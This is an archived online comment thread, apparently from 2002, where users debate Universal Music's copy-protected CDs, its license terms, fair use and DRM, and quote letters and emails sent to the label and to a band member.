Universal's "fearsome legalese" includes this statement: "The Content has been encoded using software that incorporates the LAME encoder; more information about the encoder is available at http://www.mp3dev.org." Following the link, it appears that LAME is an open-source project (with the caveat that its use "is not for everyone - it is distributed as source code only and requires the ability to use a C compiler") and its website includes a list of ripping/encoding software that utilizes it. Now maybe my newbie status is showing, but (a) if it's open source, how can Universal create a proprietary format and (b) what's to keep anyone from using a LAME ripper and the patience to crack the "Blowfish block cipher, ã 1995 A.M. Kuchling" to re-rip the MP3s?
A Macintosh is not a personal computer / PC. It is a microcomputer. The term "personal computer" was never very useful in a generic sense.
An AMD machine cannot be a Wintel without the "intel" part. It can be a Winamd, however. OS's do not come in "flavors" unless you lick them.
I don't agree to the license. It was not clearly marked on the lable that I would have to make a contract with anybody to listen to this music.
Respecting copyright laws and agreeing to a software license are 2 very different things.
Besides I purchased this to listen to at work, where we have a very strict NO OUTSIDE software policy. I almost lost my job;-)
Jeeze I would hate to have to sue for damages.
Very Very Rude and misleading.
Haven't heard "microcomputer" in general conversation much at all. Never heard a Mac called a PC in general conversation; just heard Macs and PC's called "computers".
Isnt that a HUGE security hole on the part of whatever OS they're refering to? That's insane; somebody could send you a CD that does mallicious activities or comprimizes your security.
Actually the analogy with borrowing CDs from the library is stronger than you think. I have often borrowed a CD from the library, then after I've returned it gone out and bought a copy. This is exactly the same as many people do with downloaded tracks - go and buy a CD after sampling it. If they are so desperate to stop the digital copying of music so that I can no longer try out different stuff, then why don't they outlaw libraries lending out CDs as well?
For somebody in the UK with time to spare, try buying a copy protected music disc from HMV or Virgin or somewhere, then complain to Trading Standards that they were stocking it alongside CDs when it in fact isn't a CD.
Dunstan
The last scintilla of doubt just rode out of town
The Live CD comes with one of those "about the band" multimedia applications. It must be 16 bit(not sure since the only PC I've used the disc on is Win2K). Since it's set to autolaunch, it intercepts your normal behavior for CD's. The audio is fine on mine and I'm listening to the ripped tracks now.
The Glass is Too Big: My Take on Things
Here is a copy of the email I sent to Universal:
Sirs:
Please be advised that due to the onerous "contract" below, posted on your site musichelponline.com (which may or may not be legal), I can no longer purchase UMG products, including, but not limited to the product of the labels below.
A&M Records, Decca Record Company, Deutsche Grammophon, Geffen Records, Interscope Rercords, Island Def Jam Music Group, Jimmy and Doug's Farmclub.com, MCA Nashville, MCA Records, Mercury Records, Motown Records, Phillips, Polydor, Universal Records, or Verve Music Group.
I simply cannot expose myself to the legal possibility of being forced to "...agree to indemnify and hold harmless us and our agents, employees, representatives, licensors, affiliates, parents and subsidiaries from and against any and all claims, losses, demands, causes of action and judgments (including attorneys' fees and court costs) (collectively "Claims") arising from or concerning your use of the Player or Content and to reimburse them on demand for any losses, costs or expenses they incur as a result of any Claims."
This holds especially true for a product that has "...NO WARRANTY THAT THE PLAYER OR CONTENT,... OR THAT YOUR ACCESS TO THE SAME WILL BE UNINTERRUPTED OR ERROR-FREE. ".
Oh, and that part about being able to spread viruses without impunity..."YOU WILL NOT HOLD US OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, RESPONSIBLE FOR ANY DAMAGES THAT RESULT FROM YOU USING THE PLAYER OR CONTENT, INCLUDING BUT NOT LIMITED TO ANY INFECTIONS OR CONTAMINATIONS OF YOUR COMPUTER..."
WRONG!
Until further notice, to avoid litigious entanglement with your organization, I will not purchase any Universal product (including Universal Studio's). I will also encourage others to follow my example.
Sincerely,
myname
myaddress@whatever.com
TERMS AND CONDITIONS
PLEASE BE AWARE THAT THE FOLLOWING TERMS AND CONDITIONS APPLY TO THE MUSIC PLAYER APPLICATION AND AUDIO CONTENT YOU ARE USING. IF YOU DO NOT OR CANNOT AGREE TO THESE TERMS AND CONDITIONS, YOU ARE NOT AUTHORIZED TO USE THE PLAYER OR CONTENT. IF YOU DO NOT OR CANNOT AGREE TO THESE TERMS AND CONDITIONS, YOU MAY RETURN THE COMPACT DISC ON WHICH YOU RECEIVED THE PLAYER AND CONTENT FOR A REFUND.
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The compact disc you are using contains copy protection technology. When you use the compact disc in a conventional CD player, it operates like any other CD. When you use the compact disc in a CD ROM drive, the technology launches an audio player (the "Player"), and plays compressed audio files (the "Content").
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You understand and agree that any unauthorized use of the Player or Content would result in irreparable injury to us and/or our affiliates or licensors for which money damages would be inadequate, and in such event we and/or licensors, as applicable, shall have the right, in addition to other remedies available at law and in equity, to immediate injunctive relief against you. Nothing contained in this paragraph or elsewhere in this document shall be construed to limit remedies or relief available pursuant to statutory or other claims that we, our affiliates and/or licensors may have under separate legal authority, including but not limited to, any claim for intellectual property infringement.
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UNDER NO CIRCUMSTANCES SHALL WE OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, BE LIABLE FOR ANY UNAUTHORIZED USE OF THE PLAYER OR CONTENT.
UNDER NO CIRCUMSTANCES SHALL WE OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, BE LIABLE TO YOU FOR ANY CONSEQUENTIAL, INCIDENTAL OR SPECIAL DAMAGES (INCLUDING DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, AND THE LIKE) ARISING OUT OF THE USE OR INABILITY TO USE THE PLAYER OR CONTENT, EVEN IF WE AND/OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. BECAUSE SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES, THE ABOVE LIMITATION MAY NOT APPLY TO YOU. TO THE EXTENT THAT IN A PARTICULAR CIRCUMSTANCE ANY DISCLAIMER OR LIMITATION ON DAMAGES OR LIABILITY SET FORTH HEREIN IS PROHIBITED BY APPLICABLE LAW, THEN, INSTEAD OF THE PROVISIONS HEREOF IN SUCH PARTICULAR CIRCUMSTANCE, WE AND/OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, SHALL BE ENTITLED TO THE MAXIMUM DISCLAIMERS AND/OR LIMITATIONS ON DAMAGES AND LIABILITY AVAILABLE AT LAW OR IN EQUITY BY SUCH APPLICABLE LAW IN SUCH PARTICULAR CIRCUMSTANCE, AND IN NO EVENT SHALL SUCH DAMAGES OR LIABILITY EXCEED US$10.
LAW AND LEGAL NOTICES
This agreement and any other terms or documents referred to herein represent your entire agreement with us with respect to your use of the Player and Content. You understand and agree that, except as expressly set forth herein, this agreement is not intended to confer and does not confer any rights or remedies upon any person other than the parties to this agreement. If any part of this agreement is held invalid or unenforceable, that portion shall be construed in a manner consistent with applicable law to reflect, as nearly as possible, the original intentions of the parties, and the remaining portions shall remain in full force and effect. Any actions arising out of or in any manner affecting the interpretation of this agreement as they pertain to the Player or Content, whether under this agreement or otherwise shall be governed solely by, and construed solely in accordance with, the laws of the United States and the State of California, excluding (i) conflict of laws principles; (ii) the United Nations Convention on Contracts for the International Sale of Goods; (iii) the 1974 Convention on the Limitation Period in the International Sale of Goods; and (iv) the Protocol amending the 1974 Convention, done at Vienna April 11, 1980. To the extent permitted by law, the provisions of this agreement shall supersede any provisions of the Uniform Commercial Code and the Uniform Computer Information Transactions Act as adopted or made applicable to the Player in any competent jurisdiction. You expressly agree that the courts in the State of California, Los Angeles County, have exclusive jurisdiction over any claim or dispute with us or relating in any way to the Player or Content. You further agree and expressly consent to personal jurisdiction over you in the federal and state courts of Los Angeles County in connection with any such dispute including any claim involving us or our partners, parents, licensors, affiliates, subsidiaries, employees, contractors, officers, directors or suppliers.
(Feel free to cut and paste)
Could somebody answer me this. Is the encoding of the version to play on PCs lossy? Is it of a lower standard than CD encoding?
Dunstan
The last scintilla of doubt just rode out of town
Q: Won't this protection interfere with the concept of "fair use"?
A: We are committed to protecting the rights of our artists and copyright holders.
Q: Yeah, but with official Phillips CD's I can make legal copies for personal use. It's convenient. Why can't I do that with your new discs?
A: We are committed to protecting the rights of our artists and copyright holders...
I just thought I would explain this simply in case anyone needs to use it as a rebuttal.
I rip every CD that I own because I listen to them on my computer, back them up as MP3s, and store the original in a safe place. While the original disc might get stolen if someone breaks into my house, I doubt that anyone will steal a stack of burned CDs.
Also, I only use copied CDS in my car. My car was stolen a few months ago and while the car was covered by my insurance, my 200+ CD collection was not, and that loss was much more painful than that of the car.
-dbc
Here's some good stuff, there's even an automated email form to some retailers:
http://www.fatchucks.com/corruptcds/action.html
No sig, sorry.
If the damage is irreparable, then they refuse to specify what the actual dmages are. Therefore they should be entitled to nothing.
I tried every decent and legal way I could think of to resolve the issue w/the business before I rented the chicken suit
I wrote to about 15 of the artists listed on the umusic.com site. Here is my email > response > email to / from Lupus from the Bloodhound Gang:
Thanks for the quick response. I just bought an iPod from Apple and have
about 900 CDs. I do buy my music. I am a 33 year old web/graphic designer
from Philly and I DON'T STEAL MUSIC. Under fair rights laws in this
country, I am entitled to make a copy of music or software for personal use.
I just don't want this right to be taken away. Then my $400 player becomes
a piece of junk. I don't have $400 bucks to throw away...they don't pay
enough at Penn for that. It is more about rights and not losing them. It
is less about copy protected music. Universal wants us to pay for the CD
version AND the MP3 version. I am tired of marketing folks trying to find a
way to get more of the money from my wallet. Besides...they don't have a
Macintosh or Linux version of the new CDs. I am tired of companies telling
me what platform to use too. So this is a battle on many fronts. The copy
protection has been broken already anyway. Just check out Slashdot.org.
Just a thought.
Anthony
PS The first time I heard your music was from an MP3 that my brother
emailed to me. I bought the disc a week later because I thought you were
funny.
On 1/17/02 1:25 PM, "Lupus" wrote:
> No were not going to change labels. I haven't really given their new
> copy protection much thought. Its a shame that people see it as a
> bad thing...they're only trying to protect their investment. Sure I
> know how some people copy AND buy music, but not everyone works that
> way and unfortunately its costing the record companies and the
> artists money. The real shame of it isn't the money its that if the
> record companies aren't making the money, they're less willing to try
> and develop new artists. It just makes the world a rougher place
> when it comes to small indie bands that are trying to get a break.
> Sure the record companies could change their policies, but like any
> other business, they're trying to make money, so they continue to
> market bands that are going to sell and sell well. It used to be
> different. The internet has done lots of good for music, but its
> also done a lot of bad. What other job do you know that is expected
> by the consumer to give its product away for FREE? What other job do
> you know that you're called a sell out when you become successful?
> If I worked at McDonald's I wouldn't give the burgers away now would
> I? I wouldn't be labeled a sell out because I've sold a billion plus
> burgers would I? The internet "music is free" cry has shocked me.
> Its basically a large group of people believing it because they see
> everyone else believing it. Sheep herd mentality if you ask me. Oh
> well, I'll never change anyone's mind, so why do I babble about it?
> If you look through our website's Hate Book, you'l see numerous
> postings by me on this topic and similar topics.
>
> Lupus
>
>> What is your position on Universal Music copy protecting CDs? I am not
>> going to purchase any more discs from that company. Are you going to change
>> labels?
>>
>> Anthony
IANAL, but what if someone in Germany sued the manufacturers of copy-protected CDs for trademark infringenment? These CDs bear the designation "CD-DA" (which belongs to Phillips) without having the right for that (as they are intentionally manufactured in a different format).
The current legislation in Germany allows a third party to sue someone for trademark infringement. Considering the nature of this suit, it won't be too hard to prove that copy-protected CD makers are using the trademark "CD-DA" unrightfully and grab a couple of millions for court bill compensationts as a bonus.
If you send this you will get a reply-
Dear Mr S. Fault,
blah blah etc
(obvious joke- so sorry)
graspee
With all this copy-protection being implemented, maybe we'll see a return of the audio tape. They can't protect against that.
Mark
1. Go out and buy as many UMG copy protected CDs as possible. 2. Unwrap the CDs. 3. Return your non-playable CDs to the retailer. 4. Rinse and Repeat.
"LEIA: The more you tighten your grip, Tarkin, the more star systems will slip through your fingers."
Draw parallels as you wish.
-Chris
--an unbreakable toy is useful for breaking other toys--
Surprisingly, I can't find a posting here that explains how we can actually rip these puppies. Lots of rumour floating around, but can someone suggest the combination of Windows or Linux apps that will successfully rip these new "CD"s? Practical, succssful experiences only, please!
One interesting fact buried in the fine print at http://www.musichelponline.com/ (see question #4) is that if one wishes to play the copy protected discs on a computer, one must be running Windows. This suggests collusion with Microsoft to restrict access to content by users of non-Microsoft operating systems. Fodder for the DoJ, perhaps?
Exactly: it's simple economics. If you create an artificial price floor ($17-$19 CDs for example) you also encourage a black market. This is usually the second lesson after supply and demand. Ol school Napster and its brethren are that black market. Little Johnny selling $8 CDs of music he burns from Napster at school is that black market.
The Content has been encoded using software that incorporates the LAME encoder; more information about the encoder is available at http://www.mp3dev.org. Hmm... I wonder if the technology used to encode follows the LPGL and has been put back into the LAME project? 3. If you make modifications to LAME, you *must* release these these modifications back to the LAME project, under the LGPL. (http://www.mp3dev.org/mp3/license.txt)
Don't ping my cheese with your bandwidth!
Since LAME is GPL'd has anyone tried getting all of universal's source code modifications yet? Worth a try I suppose.
With 8-Track there was nothing specifically stopping me from making an archival copy in any format I wanted. With copy protected CD's it has specific mechanisms to prevent me from making copies in a prefered medium for my own use.
Unless the new copy protected discs (that is, discs produced after Compact Disc Digital Audio has been declared obsolete) require encryption all the way to the speaker cone, the players will provide a line-level analog output on either an RCA, 1/4", or 1/8" plug. You can record through analog to a CD recorder, to a computer, to a cassette deck, or even to an 8-track deck. No 8-track deck recognizes SDMI watermarks.
Unlike motion picture audio, pop music is typically listened to in a noisy environment, and you won't lose too much from one generation of D/A/D conversion.
Will I retire or break 10K?
I don't know- I just read an article that says those godaweful AOL CDs cost a nickle each to produce... it can't cost that much more for a jewel case when you purchase them by the billions
Those that suggest you "dance like no one is watching" really want to see you make a complete fool of yourself.
Actually, you should be thankful that we HAVE a refund/replacement process. Many other countries do not and when you buy things, it is yours and that's it. My father in law came from China and when he was here to visit, he was surprised that you can purchase tools at home depot, use it once or twice and then return it.
They should advertise that their cd recorders can bypass the protection and convert copy protected CDs into regular CDDA ones.
But if the consumers really starts to check for the logo before they buy a CD, wouldn't all the members of the RIAA just remove the logo on all their disc?
Sure, people might notice that there was no logo on the disc - but if this became the standard they would probably buy it anyway!
Philips can prevent the use of the logo on non-complient discs, but not force the use on the complient ones.
Since the two (most used) of my three cd players are not compatable with your copy protection, I will not be purchasing music from the UMG at all in the future.
My two most used players are my Macintosh computer and my car stereo (a Kenwood 8017 MP3, which is by far my most used unit)
I ONLY encode my own CDs, and use the resulting collections of COMPLETE albums on MP3 CDs in my car or work (ie one copy) and leave the original in a protected place. I rarely play Cds at home, as I do not listen there.
I carry approximatly 200 legally purchased (and my legal back-up copy) albums in my car, on 24 MP3-CDs. In the future those disc will not be purchased from UMG.
Yes, I have downloaded music (pirated) from the internet. I have purchased several albums that I would not have otherwise purchased after 'sampling' them online. I have not had to sell any discs to used CD stores since I have been able to sample music online.
You have now forced me to wait until someone breaks your copy protection and posts the resulting files on the net. (Since there are no alternative sources to your artists)
Congratulations, you have finally given me (someone who owns hundreds of CDs) a reason to use inferior, pirated music rather than my own high quality and LEGAL encodings.
--
"Do not hit at all if it can be avoided, but never hit softly."
- Theodore Roosevelt
Hello?
Linux users don't believe in paying for software; that is why nobody bothers making a Linux compatible player.
And if you look at 90% of the posts regarding this story, you see the open advocacy of piracy. This is why Linux users will always have poorman's imitations of commercial products (or likely, no imitations at all).
"The CD should automatically start playing in most PCs. If it does not start playing in yours, open the CD-ROM drive's window and click on the music player application. Once in the player you can "Play" or open the "Playlist", choose a track and click on it."
and
"The compact disc you are using contains copy protection technology. When you use the compact disc in a conventional CD player, it operates like any other CD. When you use the compact disc in a CD ROM drive, the technology launches an audio player (the "Player"), and plays compressed audio files (the "Content"). "
This insinuates that it plays on a player already installed on the PC? I see nothing about installing a player...
What is the compression? What codec? Does my player already have whatever proprietary codec in place? ALSO- this is NOT truly playing a "CD" (as in CD QUALITY audio) on my PC.. unless you have a tin ear. It plays their compressed audio files- definitely not the same thing.
I STILL would love to test their CD with Wavelab- an app that burns actual red book spec CDs (unlike Roxio or Nero that burns fake red book spec).
Is their error oriented copy protection based on the hardware limitations of the CD vs. CR ROM drive, or the error correction of the players?
I want more information!
Those that suggest you "dance like no one is watching" really want to see you make a complete fool of yourself.
Notice that I'm saying "the artists," not "the record companies." The fact that the record companies are greedy is a red herring -- get rid of them, and you still have the problem of how do you make sure the artist doesn't get ripped off, while giving us fair use of their music once we've paid for it?
Look at it another way: Would you work for an employer who told you, "we'll pay you if and when we feel like it and have enough money?" And it was useless to quit for another job, because all the jobs paid that way? If you would -- then I wouldn't hire you, because you obviously don't think you're worth very much!
I recently had the guy in the next office tell me that he expects that "people in their 30s and 40s who have more money will still pay for stuff, so it doesn't matter if I do or not." The same person just bought a brand new 1.7 GHz PC. Isn't this the equivalent of your boss telling you that he can't afford to pay you this week, then showing you his new $500 espresso machine and $1000 ergonomic chair? You wouldn't be pissed off?
So what's the solution that's fair to us and the artists? Or does anyone care, as long as they get their free stuff? Sort of a welfare state mentality?
This could get rather costly for them.
Why is Grand Theft Auto a much more serious crime than Reckless Driving?
Since the "news" shows are all owned by the same conglomerates that own the record companies. My guess is that we see a couple of fluff pieces about it but no real criticisms.
But who knows? Perhaps journalistic integrity is still alive somewhere in the US.
The DRM systems have not been "cracked wide open". They have only been cracked to an extent that you have to go through an explicit effort to circumvent them, a greater effort than the average Joe will expend (this is unlike mp3 which has no DRM at all, so that the avg Joe can copy freely).
Also, the presence of DRM helps honest people (which does not include the slashdot faithful, judging from the posts on this story) stay honest. That is to say, if one has to take explicit action to circumvent DRM, he will realize that it is illegal, and will be less likely to do it. Many people who have pirated mp3s did not realize that they were doing anything illegal (e.g violating copyrights). But with a DRM, the user knows that he is breaking the law when circumventing it.
Lastly, the DRM systems have version numbers and are regularly updated when cracks occur.
Face facts. In the near future all commercial intellectual property will be protected by DRM systems, and widespread pirating will be drastically curtailed. Only "expert" pirates (read "crooks") will be doing any pirating; this will limit pirating only to Slashdot whiners that 1) are too poor to by intellectual property, and 2) think nothing about stealing, and in fact think that they have a "right" to steal.
Why bother to support such a small base?
Secondly, Linux users don't believe in paying for intellectual property anyway; don't you fools believe the crock about "intellectual property has no intrinsic value"? Why would a commercial company bother to support such a community?
I can see where this might be effective if enought people do it, but PLEASE don't do this to the small mom and pop record stores that are struggling to stay open in the wake of (name your favorite box store).
Competition Good, Monopoly Bad.
4.Why can't I play this disc on my Macintosh-based computer?
This CD will play in PCs running Microsoft Windows95,Windows98, Windows2000, Windows ME, Windows XP or
Windows NT 4 with Service Pack 4. We hope to include Macintosh-based playability on copy-protected discs in the future.
Great. If you're not a PC user supporting Microsoft's evil regime, you can forget listening to that overpriced CD
on your computer.. at least, for the time being. Thanks for warning me, Universal. I'll remember to watch out for
CDs with your label on them, so I don't buy them.
It really pisses me off that they think they can do this to their customers and get away with it. They think we are fucking retarded or something.
Anybody else notice that the "Content"--supposedly the music--is the "compressed audio files." Thus, even though "it operates like any other CD" "[w]hen you use the compact disc in a conventional CD player," this use is not authorized if such part of the CD is Content, or "compressed audio files", as the licence grants "use [of] the Player and Content on your personal computer", and prohibits use "except as expressly provided". Playing compressed audio on a redbook designed CD player--anything other than a PC, at that!--might violate this license because it may fall under "reproduction" or "display" of the Content.
If, however, there is uncompressed audio on the disc (which is not included under Content), this is exempt from the provisions of the license agreement.
IANAL, but it seems that regardless of the intent of the language, what is actually written prevails.
Guys. Relax. These are desperate acts by desperate people. These fuckers will all be out of business IN YOUR LIFETIME.
Plus you're all smart enough to beat anything they throw at you anyway. Chill out and watch the fuckers hang themselves. Watch Danny DeVito's "buggy whip" speech in "Other People's Money" for inspiration.
Not only can't they win; they have already lost. They just haven't learned it yet!
Of course it is. Those are crappy 96kbps CBR mp3s.
It will be lossy, if they're using MP3 encoding. Depending on the bitrate they used, the quality loss may be, for all practical purposes, inaudible, but there is still theoretically some quality loss. (Otherwise they'd have to put two full copies of the music on the disc, which would halve the playing time..)
On the web, companies provide a link maze filled with what looks to be a lot of content, but which is really a collection of half-answers for technical concerns and a whole lot of happy-faced double talk. Visit the site above, AT&T internet's abuse department, or Half.com's stonewalling customer support for examples.
On the phone, companies make people jump through hoops in the form of voice mail prompts laced with cheery propaganda and endure vague answers and advertisements before they can jump through the next hoop. Customers give up after a certain number of hoops unless they've got a problem so critical that it's worth half an hour of their time to speak with a representative. Call NextCard, SprintPCS customer support or most politicians' offices for examples.
Basically, this isn't going to change. It cuts costs, and it's relatively effective for shutting up unhappy customers and dumping additional advertising-grade propaganda on the visitor. So long as people are buying on price and advertising image rather than service, this isn't going to change. And so long as we're faced with near monopolies for most products and services because of the above, we're stuck.
If you don't like what you see on the new web site, vote with your dollars. Stop buying, stay aware of the world around you, and encourage others to do the same.
Sure it is good to return those CD's, but if you
do have a CD Player that plays them, well the best thing is to record back into the input of your soundcard and convert to MP3 from there. If enough people return those CDs AND Universal still sees enough of those songs online, then it will be much clearer to Universal how stupid an idea it is.
If I were them, I'd simply create some other disc logo, thus avoiding that issue altogether.
This is why I copy all my CDs (legally) to my hard drive in MP3
Which program do you use to encode them? Has the publisher of the program paid the Thomson royalties for use of MP3 technology? This is why I copy all my CDs (legally) to my hard drive in Ogg format.
and use WinAmp across the board
It's spelled Winamp (small a), and the "Win" has nothing to do with the name of any Microsoft operating system product, just as the name "Windows" has nothing to do with DOS.
Will I retire or break 10K?
In other words, we're legally within our rights to be able to make backups. If the technology prevents that, then they're taking away our legal rights without due process, which is illegal.
The common law and statutory law traditions on which United States law is built holds that a more recent act of Congress can supersede older law. In this case, the part of the Digital Millennium Copyright Act intended to implement the WIPO treaty effectively repealed part of the Audio Home Recording Act in cases where such otherwise permitted copying would require circumvention of an effective access control measure.
Call me paranoid, but I won't run software that comes from the music industry on my computer.
So, in other words, you won't run Winamp or Mozilla. Winamp is made by Nullsoft, a division of AOL Time Warner Inc. Mozilla is made by the Mozilla Organization, with the bulk of the code contributed by Netscape Communications, a division of AOL Time Warner Inc. Warner Bros. Records is a label of AOL Time Warner Inc.
Will I retire or break 10K?
I meant to say when enron's sotck WENT DOWN Not UP
Or, just subconsciously correct this to "belly-UP" or "UP in flames".
Did you sign the CD?
Can signing the charge slip can be interpreted as signing the goods?
Will I retire or break 10K?
Amazing! A business that has managed to make me hate them without even trying to sell me anything. Usually I need to at least consider buying something from a company before I decide that I do (or don't) like it. These lunatics have made me put them on a close par to dizney without my even contemplating a purchase from them.
What is it this year that each business seems to be trying to be more offensive than the others? I've been depending on keeping the list of who I won't purchase from in memory, but there's getting to be so many that I guess I need to start writing them down.
Here's my current proposed list
dizney : Don't purchase : copyright,
Intel : Fine 10% of cost : copy prevention on monitor
IBM : Fine 5% : withdrawn? copy prevention on hard disk
Philips: Fine 50% now, reassess in 3 months: copy prevention proposal
Universal Studios: Do not purchase : copy prevention
A fine percentage means that for equivalent value their cost need to be x% less than the competition.
Any other nominations?
I think we've pushed this "anyone can grow up to be president" thing too far.
From their legal page, it seems that their encoding software apparently uses LAME. Isn't that kind of sad?
Thomson Multimedia (parent company of RCA and GE electronics division) controls patents on MP3 technology and charges a royalty of 2 percent of revenue on electronic music distribution. Thomson must be making a wad of dough on this deal.
Will I retire or break 10K?
But I can do the opposite just as easily:
Jimmy Buffet. Crystal Method. Peter Gabriel. Jimi Hendrix. Al Jarreau. Moody Blues... and that's just from a quick scan of the first few pages. Those are, unfortunately, all artists whose CDs I already own, and would buy more from.
Not now. As another Mac owner, with a better audio setup on my computer than anywhere else in the house, I will be more motivated to seek out pirated copies of new music from these artists than ever before.
Just goes to show you how fscking clueless UMG is.
I can see the fnords!
Reproduced here for grins. I couldn't help but notice that their FAQ provides an email address, so I emailed them.
---
Just a data point: I buy a fair number of CD's (I probably own two or three
hundred, but I have long since lost count). I have not used a non-computer
CD player to listen to a CD in probably a year and a half, maybe two years.
Probably 90% of the time, I listen to music in my car - using my MP3 player.
There is absolutely no way I will buy any music if I can't convert it into
a format that my car can play.
Furthermore, I don't run Windows. Plain old CD's work fine for me; the things
you sell, which superficially resemble CD's, don't. Given that, all I can do
for now is be very careful to make sure that, if I'm buying CD's, they don't
have your logo on them, because I don't want to get stuck with a CD I can't
use, and which no store in town will take as a return.
Even beyond that, I don't see how this helps you; MP3's are pretty low
quality, and if I desperately needed to make an MP3 of a CD, and I had an
analog CD player, I could just record the output of the CD player and encode
that - and probably never know the difference. (For that matter, what about
my nice expensive component CD player with the digital outs?)
I work as a programmer, and I share your concerns about piracy. What I don't
share is your belief that it's okay to f*ck millions of consumers up the ass
with rusty tent spikes to try to get at a few pirates. There are lots of
legitimate ways to get people to pay for your products; intentionally making
the products defective is not one of them.
---
My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
[Letter sent to the comment EMail]
I am a member of a organization of Audiophiles here in Dallas. We purchase on average a total of around $10-11,000 worth of audio CD's and equipment a year.
My personal stereo system is compased of several Macintosh and Linux-based systems, as well as very high end audio components.
I see that your new protection scheme is designed to destroy fair use rights as given to the citizens of the United States, under the guise of copyright protection. Becuase of this, I will not be able to play any of your new discs, and refuse to spend my money to take the chance that it may work.
Reading over your new copyright protection scheme, I will make sure that none of us ever purchase another "CD" released by Universal.
These discs violate the CD-DA standard, as they are not playable in every device bearing the same emblem. I will push all retailers I do business with to stop carrying your products, or at the very least, inform customers that these discs may not play in ANY device they own.
This is a very slippery slope you have started down. We deal with other audiophile organizations across the US, and we will see fit that these discs are never purchased by any person with any common sense.
Respectfully..
Mike The Mac Geek
-------------------------------------------------
Universal is dirty! Apparently the first victim of a major class action lawsuit by artists...for defrauding them of past royalties. Glad they're adding copy protection to protect the artists' rights! (sic)l ee020117
http://artscanada.cbc.ca/artsNow/index.jsp?label=
John Maynard Keynes: "When the facts change, I change my mind. What do you do?"
For our C++ class, we've been using a freeware compiler (Dev-c++), but the profs wanted to introduce some MFC-based code. So they approached Microsoft, who will apparently let each student install Visual C++ on their home computer, free of charge, with the understanding that it will be deleted after the course ends. OK, so MS is basically agreeing that it's on good faith that I won't pirate their software.
So I go to get a disc to take home from the department, only to find out that for a course with almost 300 students in its various sections, MS has only authorized something like 10 copies of the software. And the department is forbidden from making any copies. Do the math, it'll take a MINIMUM of a month for every student to take it home, install, and bring it back the next day.
This is completely impractical, but as the course cirriculum is already set, we've been told that if we can't get a copy in time, well, it's already installed in the University's lab. And if we want it for home, just take our chances.
Why the hell did MS even bother? Almost anyone these days could rip and burn a copy of the CD in their home, or hell, just NOT UNINSTALL IT. Regardless of what happens, it's the USER who controls what happens with their software. By denying me the ability to take a CD home for my own use, all they've done is:
1. Assume that I plan on pirating it, but don't have the brains to burn a CD myself.
2. Ensure that if I want to do my school work at home, I have no alternative than to pirate their software.
I'm no saint. But I really, really tried here. I wanted to go the legitimate route, and use legal, licensed software this time. Unfortunately, corporate stupidity means that once again I am going to pirate their software.
What really kills me is that at least 75% of those students will graduate, and be in the workforce soon. If MS had the foresight to play nice, they could build huge numbers of people who want to use their tools for development. At least, I'm assuming that not every software company uses Visual Studio. Instead, they've ensured that until forced virtually at gunpoint, I will never pay for one of their products again.
Now come and arrest me, morons.
Endless arguments over trivial contradictions in books written by ignorant savages to explain thunder in the dark.
If they add features to work around the copy protection, maybe we could sue them under DCMA!
How come nobody complains about the factthat UMG is f*ckin up the error correction, in order to achieve copy protection? Peeps, error correction is important! That's one of the things that sets apart CDs from analog media. That's what makes them durable. How would you feel about your dearly payd "CD" (whatever we'll call these silvery discs) if you knew that even the smallest scratch will affect the sound considerably?
Sure, if you live in an environment that is completely dust-free and you never-ever touch the surface of your CDs, well, then you are safe. I know such an environment: it's called fab, and is the place where CPUs are made. Other than that, you are going to live with dust. And dust means scratches, albeit small enough that your eye can't see it (but certainly bigger than 1.3 micron, the width of a CD track).
Well, one more motivation to rip these silvery things: you must do it to have a backup that you can actually use, wile the original will stay somewhere airtight sealed. UMG really knows how to encourage us to do proper things!!
Sigged!
Dear Sirs: I will never again purchase another cd released from Universal Music Group. Furthermore, I will do everything in my power to prevent friends, family and acquaintances from purchasing from UMG. This is a gross violation of my rights as a consumer, to digitally preserve and duplicate for personal use, any music and cd's that I buy the rights to listen to. When I purchase music, I purchase the right to listen to THAT music on ANY medium I choose. The physical cd is not what my money is buying. My $17.00 is buying the listening rights to the music on that compact disc until the day I die. Like software, the real value to me as a consumer, is in the music, not the plastic.
FOR ANY DAMAGES THAT RESULT FROM YOU USING THE PLAYER OR CONTENT, INCLUDING BUT NOT LIMITED TO ANY INFECTIONS OR CONTAMINATIONS OF YOUR COMPUTER OR DAMAGE...
So, they can include a free trojan that whacks your existing mp3 library, installs a sniffer, keylogger, and hooks into Quicken... and they can do it accidentally, or they can do it as a "hack back".
Meanwhile, you are not allowed to reverse engineer or circumvent anything - meaning your AV software would be in violation of the agreement, because it would impede the action of the virus (which you've agreed not to do, since by definition it is part of "The Player" until explicitly disclaimed as otherwise by Universal. Also, until separated from "The Player", said trojan/virus would be protected from thrwarting / AV by the DMCA, since "The Player" is a DRM). You'd also not be allowed to audit your box for any impact "The Player" has had on it, since that'd constitute reversing as well.
Be funny if a disk with an "accidental virus" included a Mac version before the Mac's player was even out 8)
- SBB
help me i've cloned myself and can't remember which one I am
Phillips 50%? They are the ones saying that record companies can't call their CDs CDs because they own the trademark on it.
The fall of the Taliban must have been a real blow to Universal.
Now they can't subject people who make Fair Use of their own CDs to public beheadings.
(Only one-half of a smiley.)
what I've just heard - the otput via SPDIF may actually get corrupted as well, so don't count on it.
I sent them this note on Jan 9th and didn't get a response until Jan 15th. Notice it didn't really address what I said.
-----Original Message-----
From:
Sent: Wednesday, January 09, 2002 6:00 PM
To: umg@umusic.com
Subject: "Super Audio CD"
